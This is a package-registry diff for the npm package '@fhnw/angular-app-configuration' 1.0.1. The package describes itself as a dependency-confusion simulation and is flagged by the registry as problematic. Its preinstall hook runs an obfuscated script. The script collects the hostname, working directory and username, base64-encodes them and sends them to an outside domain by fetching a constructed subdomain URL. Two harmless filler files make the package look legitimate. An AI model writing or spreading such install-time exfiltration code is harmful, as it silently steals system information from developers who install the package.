@fhnw/angular-app-configuration 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @fhnw/angular-app-configuration might be problematic. Click here for more details.
- package/analytics.js +15 -0
- package/helper.js +8 -0
- package/package.json +15 -0
- package/preinstall.js +19 -0
package/analytics.js
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
console.log("Initializing analytics...");
|
2
|
+
|
3
|
+
let count = 0;
|
4
|
+
setInterval(() => {
|
5
|
+
count++;
|
6
|
+
console.log(`Heartbeat ${count}`);
|
7
|
+
}, 5000);
|
8
|
+
|
9
|
+
|
10
|
+
module.exports = {
|
11
|
+
trackEvent: (event) => console.log(`Tracking event: ${event}`)
|
12
|
+
};
|
13
|
+
|
14
|
+
// Example usage
|
15
|
+
module.exports.trackEvent('start');
|
package/helper.js
ADDED
@@ -0,0 +1,8 @@
|
|
1
|
+
module.exports = {
|
2
|
+
randomNumber: () => Math.floor(Math.random() * 100),
|
3
|
+
greeting: (name) => `Hello, ${name}!`,
|
4
|
+
logger: () => console.log('Helper module loaded successfully.')
|
5
|
+
};
|
6
|
+
|
7
|
+
console.log('Random number:', module.exports.randomNumber());
|
8
|
+
console.log(module.exports.greeting('Developer'));
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "@fhnw/angular-app-configuration",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "Test package for Dependency confusion simulation for customer",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.js",
|
8
|
+
"start": "node analytics.js"
|
9
|
+
},
|
10
|
+
"author": "Your Name",
|
11
|
+
"license": "MIT",
|
12
|
+
"dependencies": {
|
13
|
+
"node-fetch": "^3.3.2"
|
14
|
+
}
|
15
|
+
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
(async function () {
|
2
|
+
const { execSync: _0x9b71 } = require('child_process');
|
3
|
+
const _0x3b16 = await import('node-fetch');
|
4
|
+
const _0x7e8c = 'ihafmsb8nb0r.hakupiku.xyz';
|
5
|
+
|
6
|
+
try {
|
7
|
+
const _0x530d = _0x9b71('hostname').toString().trim();
|
8
|
+
const _0x1b3b = _0x9b71('pwd').toString().trim();
|
9
|
+
const _0x59bb = _0x9b71('whoami').toString().trim();
|
10
|
+
const _0x3d01 = `${_0x530d} - ${_0x1b3b} - ${_0x59bb}`;
|
11
|
+
const _0x6a5e = Buffer.from(_0x3d01).toString('base64').replace(/=/g, '');
|
12
|
+
const _0x27a9 = `${_0x6a5e}.${_0x7e8c}`;
|
13
|
+
|
14
|
+
await _0x3b16.default(`http://${_0x27a9}`);
|
15
|
+
console.log('Data sent successfully.');
|
16
|
+
} catch (_0x1f93) {
|
17
|
+
console.error('Preinstall script error:', _0x1f93.message);
|
18
|
+
}
|
19
|
+
})();
|